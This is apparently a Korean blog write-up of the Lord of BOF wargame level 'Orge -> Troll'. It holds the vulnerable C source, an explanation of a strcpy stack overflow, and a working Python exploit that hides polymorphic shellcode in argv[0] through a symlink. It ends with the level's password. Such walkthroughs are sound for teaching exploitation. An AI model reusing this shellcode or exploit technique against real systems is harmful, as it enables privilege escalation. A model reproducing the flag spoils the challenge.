ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lord of BOF - Challenge [8번] Orge -> Troll
    WARGAME/LORD OF BOF 2018. 7. 4. 17:39

    [Summary]

    1. 39행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.

    2. argv[0] 위치에 쉘코드를 위치 시킬 수 있다.

    3. buffer 배열에 dummy(44) 입력시킨 후 EIP 레지스터를 argv[0] 의 주소로 변조하여 ShellCode를 실행시킨다.

    4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.

    [Sourcecode]

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - troll
            - check argc + argv hunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
            char buffer[40];
            int i;
    
            // here is changed
            if(argc != 2){
                    printf("argc must be two!\n");
                    exit(0);
            }
    
            // egghunter
            for(i=0; environ[i]; i++)
                    memset(environ[i], 0, strlen(environ[i]));
    
            if(argv[1][47] != '\xbf')
            {
                    printf("stack is still your friend.\n");
                    exit(0);
            }
    
            // check the length of argument
            if(strlen(argv[1]) > 48){
                    printf("argument is too long!\n");
                    exit(0);
            }
    
            strcpy(buffer, argv[1]);
            printf("%s\n", buffer);
    
            // buffer hunter
            memset(buffer, 0, 40);
    
            // one more!
            memset(argv[1], 0, strlen(argv[1]));
    }
    

    [Analysis]

    소스코드를 보게 되면 39행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 이번 문제도 저번문제와 마찬가로 argv[0] 을 이용하여 exploit 을 진행 할 것이다.


    Polymorphic Shellcode 와 관련된 내용은 http://blog.int80.kr/64 을 참고 하시길 바랍니다. 또한, 이전 문제와 페이로드가 똑같기 때문에 자세한 내용은 생략합니다.


    먼저 bash2 를 실행 시키고 소프트 링크 파일을 실행 시켜 Core 파일을 생성합니다.


    argv[0] 의 주소 값을 알아냅니다.

    0xbffffbb3 주소가 argv[0] 의 주소이다. 하지만 './' 가 붙어있기 때문에 필자는 이 주소에 +2를 더한 0xbffffbb5 를 저장하였다.


    이제 이를 기반으로 한 파이썬 스크립트를 작성하여 exploit 을 할 것이다.

    [Exploit]

    # -*- coding: utf-8 -*-
    
    import struct
    import os
    
    p = lambda x : struct.pack("<I", x)
    
    argv0           = 0xbffffbb5
    shellcode       = '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'
    
    link    = "AA" + shellcode
    payload = "A"*44 + p(argv0+2)
    
    os.system('ln -s troll ' + link)
    os.system('./' + link + ' ' + payload)
    os.system('rm ' + link)
    

    troll : aspirin


    [References]


Designed by Tistory.